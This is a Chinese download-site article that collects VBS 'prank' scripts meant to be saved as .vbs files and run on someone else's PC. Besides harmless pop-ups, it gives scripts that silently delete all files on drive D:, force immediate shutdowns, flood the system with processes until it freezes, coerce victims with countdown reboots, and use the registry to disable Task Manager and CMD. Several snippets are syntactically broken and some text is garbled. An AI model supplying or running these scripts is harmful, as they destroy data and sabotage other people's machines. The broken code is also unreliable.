vbs整人代碼怎么用? vbs容易的整人代碼|xp下載站

軟件是一系列按照特定順序組織的計算機數據和指令的集合。一般來講軟件被劃分為編程語言、系統軟件、應用軟件和介于這兩者之間的中間件。硬件是“計算機硬件”的簡稱。與“軟件”相對,電子計算機系統中所有實體部件和設備的統稱。

vbs整人代碼怎么用? vbs簡單的整人代碼

VBS是是：Microsoft Visual Basic Script Edition。（微軟公司可視化BASIC腳本版），在平時我們可以利用VBS做很多事情，當然了要熟悉VBS代碼自己制作還是挺難的，不過對于使用現成的VBS代碼制作VBS文件還是很簡單的，很多朋友想要一些VBS整人代碼，下面小編就整理了一些。

注意：一些VBS整人代碼會引起不適，并且部分代碼有高危害性，會刪除電腦文件的一定要慎用！

VBS制作方法

1、在記事本中粘貼VBS代碼；

2、另存為VBS文件，雙擊即可運行。

VBS整人代碼大全：

一、做我女朋友嗎，告白（抖音里很火的）無危害

msgbox("做我女朋友可以嗎？")
msgbox("房產證上寫你名")
msgbox("保大")
msgbox("我媽會游泳")
m = MsgBox("做我女朋友好嗎?",vbOKCancel)
If m = vbOK Then Msgbox("愛你么么噠")
If m = vbCancel Then MsgBox "不喜歡你了", vbCritical

二、無限彈出，點確定繼續彈出，把www.ghost123.com 改成你要文字。

msgbox “www.ghost123.com ”

loop

三、打開無數個計算器，直到死機（把calc改成別的程序也可以）

set wsh=createobject("wscript.shell")

wsh.run "calc"

loop

四、直接關機（慎用）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

五、刪除D:\所有文件（強烈建議不要用，刪除重要文件無法恢復可能會負法律責任）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

六、不斷彈出窗口

while(1)

msgbox "哈哈你被耍了！"

loop

七、不斷按下alt+f4 （打開什么就關閉什么……）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

八、按500次回車 (以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)

dim s

do until s=500

s=s+1

msgbox "哥們，給我按500次回車吧",64

loop

九、關不掉的窗口

WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可愛的小朋嗎?")

WScript.Echo("哈,我想你拉，這你都不知道嗎？")

WScript.Echo("怎么才來，說~是不是不關心我")

WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")

WScript.Echo("小強很生氣，后果很嚴重哦。")

WScript.Echo("嘿嘿！你也會很慘滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")

WScript.Echo("還剩49下，快點點哦")

WScript.Echo("還剩48下，快點，小笨蛋！")

WScript.Echo("還剩47下對，就這樣快點點！")

WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")

WScript.Echo("還剩45下，記得要快哦！")

WScript.Echo("還剩43下")

WScript.Echo("還剩42下")

WScript.Echo("還剩41下")

WScript.Echo("還剩40下")

WScript.Echo("還剩39下")

WScript.Echo("還剩38下")

WScript.Echo("還剩37下")

WScript.Echo("還剩36下")

WScript.Echo("還剩35下")

WScript.Echo("還剩34下")

WScript.Echo("還剩33下")

WScript.Echo("還剩32下")

WScript.Echo("還剩30下")

WScript.Echo("還剩29下")

WScript.Echo("還剩28下")

WScript.Echo("還剩27下")

WScript.Echo("還剩26下")

WScript.Echo("還剩25下")

WScript.Echo("還剩24下")

WScript.Echo("還剩23下")

WScript.Echo("還剩22下")

WScript.Echo("還剩21下")

WScript.Echo("還剩20下")

WScript.Echo("還剩19下")

WScript.Echo("還剩18下")

WScript.Echo("還剩17下")

WScript.Echo("還剩16下")

WScript.Echo("還剩15下")

WScript.Echo("還剩14下")

WScript.Echo("還剩13下停停�。�！慢點，我有話要說")

WScript.Echo("還剩12下，你繼續點我就會消失滴")

WScript.Echo("還剩11下，以后就看不到我拉。555555")

WScript.Echo("還剩10下，你現在可以選擇停止！")

WScript.Echo("還剩9下。你還點啊，不要我拉？")

WScript.Echo("還剩8下，有點傷心拉，干嘛丟棄人家")

WScript.Echo("還剩7下。瘋了，你有點負意！")

WScript.Echo("還剩6下。對。你就點吧，我恨你！")

WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")

WScript.Echo("還剩4下！真要刪除我？")

WScript.Echo("還剩3下�？墒俏艺娴暮芫鞈倌�。。。")

WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")

WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義�。。�")

WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")

WScript.Echo("想結素我么?那你就再多點一次")

十、輸入指定文字解除，否則關機

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""　","說不說","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

十一、還是需要輸入我是豬，不然關機

set ws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是豬"

a=inputbox("快在下面的框框里輸入我是豬,否則后果自負，快輸""我是豬"" ","輸不輸","")

loop

call shutdown(2)

msgbox "早說就行了嘛",4096+64

msgbox"再輸一遍我是豬!",4096+64

msgbox"我是豬!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的點過去,不看的話",4096+64

MsgBox"我就要你踩我空間的!哼!",4096+64

MsgBox"從前有座山!",4096+64

MsgBox"山里有個廟.",4096+64

MsgBox"廟里有個老和尚在講故事.",4096+64

ws.run"iexplore.exe http://www.winwin7.com"

msgbox"哎呀累了！數綿羊哄我睡覺",4096+64

for i=1 to 100

MsgBox i&"只綿羊",4096+64

msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64

msgbox"最后問個問題，我是不是大好人！",4096+64

if inputbox("是不是","請選擇","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run"cmd.exe /c shutdown -r -t 60 -c",0

case 2

ws.run"cmd.exe /c shutdown -a",0

end select

end sub

十二、輸入我是豬結束運行，否則

如果別人不輸我是豬的話就會一直點下去點到你設定的數字

for i=1 to 100

從1到100

可以改成 20 其他的數字

解除這個VBS腳本的辦法就簡單了只是關掉任務管理器里Wscript.exe

復制代碼代碼如下:

set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系統將在"& 60-i &"秒后關機...",1,"系統提示",4096+48

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

end if

十三、

1：開機就強制自動關機

2：cmd命令打不開

3：結束任務不管用

4：F8安全模式也不管用

呵呵！聽起來是不是有點恐怖啊，我在我朋友空間里看見也嚇了一跳、

代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，，

PS：不要亂拿軟件去整人，發生什么事可不要怪我啊。。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···"" ",0 ,true

dim a

do while(a <> "寶寶，我是天下第一大傻B")

a = inputbox ("寶寶，我是天下第一大傻B,就不關機，快撒，說 ""寶寶，我是天下第一大傻B""　","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？"

以上就是這次小編給大家分享的VBS整人代碼大全了，還是老話，有危害的輕易不要使用。

硬件是實在的，有模有樣的。軟件是程序性的。是一系列的指令。有了軟件，硬件才會實現更豐富的功能。

推薦系統下載分類：最新Windows10系統下載最新Windows7系統下載 xp系統下載電腦公司Windows7 64位裝機萬能版下載

vbs整人代碼怎么用? vbs容易的整人代碼

相關文章

推薦系統下載分類： 最新Windows10系統下載 最新Windows7系統下載 xp系統下載 電腦公司Windows7 64位裝機萬能版下載

vbs整人代碼怎么用? vbs容易的整人代碼

相關文章

推薦系統下載分類：最新Windows10系統下載最新Windows7系統下載 xp系統下載電腦公司Windows7 64位裝機萬能版下載